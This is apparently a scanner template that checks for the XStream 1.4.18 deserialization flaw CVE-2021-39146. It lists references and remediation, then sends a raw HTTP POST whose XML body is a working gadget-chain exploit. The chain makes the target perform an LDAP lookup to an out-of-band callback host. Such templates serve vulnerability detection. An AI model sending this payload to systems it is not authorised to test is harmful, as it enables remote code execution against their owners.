120 lines
4.5 KiB
YAML
120 lines
4.5 KiB
YAML
id: CVE-2021-39146
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info:
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name: XStream 1.4.18 - Arbitrary Code Execution
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author: pwnhxl
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severity: high
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description: |
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XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
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remediation: |
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Upgrade XStream to a version that is not affected by CVE-2021-39146.
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reference:
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- https://x-stream.github.io/CVE-2021-39146.html
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- https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f
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- https://security.netapp.com/advisory/ntap-20210923-0003/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39146
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- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 8.5
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cve-id: CVE-2021-39146
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cwe-id: CWE-434
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epss-score: 0.21334
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epss-percentile: 0.95933
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cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: xstream_project
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product: xstream
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tags: cve,cve2021,xstream,deserialization,rce
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http:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<sorted-set>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>test</type>
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<value class='javax.swing.MultiUIDefaults' serialization='custom'>
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<unserializable-parents/>
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<hashtable>
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<default>
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<loadFactor>0.75</loadFactor>
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<threshold>525</threshold>
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</default>
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<int>700</int>
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<int>0</int>
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</hashtable>
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<javax.swing.UIDefaults>
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<default>
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<defaultLocale>zh_CN</defaultLocale>
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<resourceCache/>
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</default>
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</javax.swing.UIDefaults>
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<javax.swing.MultiUIDefaults>
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<default>
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<tables>
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<javax.swing.UIDefaults serialization='custom'>
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<unserializable-parents/>
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<hashtable>
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<default>
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<loadFactor>0.75</loadFactor>
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<threshold>525</threshold>
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</default>
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<int>700</int>
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<int>1</int>
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<string>lazyValue</string>
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<javax.swing.UIDefaults_-ProxyLazyValue>
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<className>javax.naming.InitialContext</className>
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<methodName>doLookup</methodName>
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<args>
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<string>ldap://{{interactsh-url}}/#evil</string>
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</args>
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</javax.swing.UIDefaults_-ProxyLazyValue>
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</hashtable>
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<javax.swing.UIDefaults>
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<default>
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<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
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<resourceCache/>
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</default>
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</javax.swing.UIDefaults>
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</javax.swing.UIDefaults>
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</tables>
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</default>
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</javax.swing.MultiUIDefaults>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>test</type>
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<value class='com.sun.org.apache.xpath.internal.objects.XString'>
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<m__obj class='string'>test</m__obj>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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</sorted-set>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: body
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words:
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- "timestamp"
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- "com.thoughtworks.xstream"
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condition: or
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- type: word
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part: header
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words:
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- "application/json"
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- type: status
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status:
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- 500
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# digest: 4a0a00473045022006e0267762057f06ee63a22ab77cf79ee4c745ca75ad864a4512aebab95103b4022100c07cd09c83eecc46b9454f49de09d6c7915b2487fe53aeeb32d8358e84633df0:922c64590222798bb761d5b6d8e72950 |